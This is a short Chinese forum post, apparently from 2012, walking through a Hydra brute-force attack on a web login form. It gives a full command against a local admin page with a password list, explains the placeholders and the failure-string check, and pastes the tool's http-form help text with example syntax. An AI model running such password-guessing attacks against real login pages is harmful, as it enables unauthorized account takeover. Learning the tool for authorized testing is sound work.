|
|
这里说的是 post 类型的。。
[root@fedora ~]# hydra -f -l sincoder -P /root/1.txt -V -s 9900 192.168.7.122 http-post-form "/admin/index.php?action=login:user=^USER^&pw=^PASS^:<title>登录</title>"
主要看后面 。。
/index.php ..这个是登录的 url
后门是POST的数据 其中的用户名密码使用 ^USER^ ^PASS^ 来代替
然后是如果登录出错 会出现的字符 。。。
然后开始破解吧
这里破出来了。。
详细的解释
[root@fedora ~]# hydra -U http-form
Hydra v7.3 (c)2012 by van Hauser/THC & David Maciejak - for legal purposes only
Hydra (http://www.thc.org/thc-hydra) starting at 2012-11-25 19:25:02
Help for module http-form:
============================================================================
Module http-form requires the page and the parameters for the web form.
By default this module is configured to follow a maximum of 5 redirections in
a row. It always gathers a new cookie from the same URL without variables
The parameters take three ":" separated values, plus optional values.
Syntax: <url>:<form parameters>:<condition string>[:<optional>[:<optional>]
First is the page on the server to GET or POST to (URL).
Second is the POST/GET variables (taken from either the browser, proxy, etc.
with usernames and passwords being replaced in the "^USER^" and "^PASS^"
placeholders (FORM PARAMETERS)
Third is the string that it checks for an *invalid* login (by default)
Invalid condition login check can be preceded by "F=", successful condition
login check must be preceded by "S=".
This is where most people get it wrong. You have to check the webapp what a
failed string looks like and put it in this parameter!
The following parameters are optional:
C=/page/uri to define a different page to gather initial cookies from
H=My-Hdr: foo to send a user defined HTTP header with each request
Examples:
"/login.php:user=^USER^&pass=^PASS^&mid=123:incorrect"
"/login.php:user=^USER^&pass=^PASS^&mid=123:S=authlog=.*success"
"/login.php:user=^USER^&pass=^PASS^&mid=123:authlog=.*failed"
"/login:user=^USER&pass=^PASS:failed:H=Authorization: Basic dT1w:H=X-Foo: Bar"
"/exchweb/bin/auth/owaauth.dll:destination=http%3A%2F%2F<target>%2Fexchange&flags=0&username=<domC^USER^&password=^PASS^&SubmitCreds=x&trusted=0:reason=:C=/exchweb"
[root@fedora ~]#
[/td][/tr]
[/table] |
|
窥视卡
雷达卡
发表于 2012-12-1 05:42:57
提升卡
置顶卡
沉默卡
喧嚣卡
变色卡
抢沙发
千斤顶
显身卡
发表于 2012-12-9 00:12:10